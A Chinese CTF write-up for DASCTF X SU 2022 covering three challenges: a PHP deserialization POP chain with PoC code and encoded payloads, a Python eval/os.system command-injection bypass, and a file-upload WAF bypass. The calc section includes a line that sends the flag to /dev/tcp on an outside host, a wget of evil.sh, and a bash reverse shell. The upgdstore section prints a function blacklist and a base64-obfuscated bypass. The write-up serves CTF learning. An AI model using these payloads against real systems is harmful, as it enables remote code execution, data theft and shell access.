DASCTF X SU 2022 writeup
DASCTF X SU 2022 writeup
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我是一个也没出，ezpop是只差了一点点然后calc确实没啥思路，赛后补一下题
ezpop
这题是当时死活打不通然后赛后补题做出来了，补题过程中遇到了一些有趣的小问题，首先先看一下题目，题目是个非常基础的php反序列化题目，直接能够让用户操控反序列化的参数，找一条POP链完成利用就可以啦，下面是题目给出的源代码。
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}根据源代码我当时是找了这样一条反序列化的POP链
fin __destruct -> what __toString() -> mix run() -> crow __invoke -> fin __call -> mix get_flag -> crow eval(#\nsystem(‘cat *’);)
下面是四个魔法方法
__invoke() 当尝试以调用函数的方式调用一个对象时
__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__call() 在对象中调用一个不可访问方法时，会被调用。
__toString() 方法用于一个类被当成字符串时应怎样回应
下面是我最初的POC
<?php
class crow
{
public $v1;
public $v2;
// public function __construct()
// {
// $this->v1 = new fin();
// }
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
// public function __construct()
// {
// $this->f1 = new what();
// }
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
// public function __construct()
// {
// $this->a = new mix();
// }
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1 ;
// public function __construct()
// {
// $this->m1 = new crow();
// }
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
$cmd = new fin();
$cmd-> f1 = new what();
$cmd-> f1 -> a = new mix();
$cmd-> f1 -> a -> m1 = new crow();
$cmd-> f1 -> a -> m1 -> v1 = new fin();
$cmd-> f1 -> a -> m1 -> v1 -> f1 = new mix();
$cmd-> f1 -> a -> m1 -> v1 -> f1 ->m1 = '/n cat flag';
echo serialize($cmd);为什么burpsuite能通hackbar不能通?
fiddler能通的payload
cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
hackbar我用这个payload
cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
结果实际请求时候的payload
cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+*%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
仔细看可以看出一些细微的差别，system前面变成了%0D%0A，多了个%0D，%0D 是CR hackbar帮我补了回车，因此打不通，hackbar使用raw的方式是不会补回车的，也可以成功打通，在群里和师傅们交流后发现，hackbar出错的原理的话应该是windows的换行符是0d0a，linux的换行符是0a，网站运行在linux机器上所以自然是把0a做成换行符，但是hackbar却补了0d0a，导致出错。
我的payload问题出在哪了?
没有url编码，url编码后直接就能出，只需要添加一个urlencode
以下是能打通的POC
<?php
class crow
{
public $v1;
public $v2;
// public function __construct()
// {
// $this->v1 = new fin();
// }
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
// public function __construct()
// {
// $this->f1 = new what();
// }
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
// public function __construct()
// {
// $this->a = new mix();
// }
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1 ;
// public function __construct()
// {
// $this->m1 = new crow();
// }
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
$cmd = new fin();
$cmd-> f1 = new what();
$cmd-> f1 -> a = new mix();
$cmd-> f1 -> a -> m1 = new crow();
$cmd-> f1 -> a -> m1 -> v1 = new fin();
$cmd-> f1 -> a -> m1 -> v1 -> f1 = new mix();
$cmd-> f1 -> a -> m1 -> v1 -> f1 ->m1 = '/n cat flag';
echo urlencode(serialize($cmd));为什么要url编码才能打?
Url中只允许包含英文字母（a-zA-Z）、数字（0-9）、-_.~4个特殊字符以及所有保留字符。简单来说，就是有些字符不允许出现在URL中，因此要进行编码。原payload中/n大括号什么的都不行，所以打不通。
__destruct报错为什么不用管？
mix的参数不能又是对象又可以当字符串进行字符串拼接，因此报错是必然的，但是__destruct报错不用管，因为这时候已经echo了内容然后才触发报错。
calc
题目的关键点是发现传入的num参数会先被eval执行然后又被os.system执行，想办法输入eval不报错但是可以在shell中运行的代码是解题的关键思路
解法一
来自0rays nazo师傅的思路
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-
%H%M%S",time.localtime()),ip,num)
print(log)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)空格的过滤需要用/t(%09)和/n(%0A)绕过
在自己的服务器上nc -n -lvvp port，再用payload打就可以先ls看一下flag文件名字然后再打印flag出来。
payload:%27%27%271%27%0Acat%09/Th1s*%09%3E%09/dev/tcp/x.x.x.x/port%0A%23%273%27%27%27
实际执行
echo {0} {1} '''1'
cat /Th1s* > /dev/tcp/x.x.x.x/port
#'3'''> ./tmp/log.txt
eval的时候 “‘ ‘“ 三引号 里面的内容当字符串，不报错
os.system的时候#注释后面内容 cat这个语句被执行
解法二
来自协会summer师傅的思路
num = “1+1#`wget\thttp://x.x.x.x:60056/evil.sh\`" num = “1+1#`bash\tevil.sh`“
evi.sh:bash -i >& /dev/tcp/ip/port 0>&1
这里#在python中确实会注释后面的内容，eval不会报错因为反引号内容被注释了，但是在os.system里面由于#在双引号中，反引号里面的内容在shell里代码会被执行，#只会被当作一个字符，这点非常神奇，学习了两位师傅的解法后发现都用了#去绕过，但是具体的利用方式也不一样，非常巧妙，学到了很多。
upgdstore
是个文件上传的题目但是没有给出源码，上传一个<?php phpinfo();?>内容的php文件，发现上传成功并且给出了访问路径
看一看phpinfo能不能拿到源码
看了看发现有很多很多disable_function，非常吓人，
可以使用show_source读取index.php的源码，然后用base64编码绕过waf对此函数的过滤，所以我们传入<?php base64_decode("c2hvd19zb3VyY2U=")('../index.php');?>内容的文件，得到源码
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计，传个火？！
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶，被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}我们可以用url编码一句话木马来连shell
<?php base64_decode("c2hvd19zb3VyY2U=")('../index.php');?>
但是直接连shell貌似不行，需要先bypass disable_functions
看别的师傅的wp还没复现出来，卡住了
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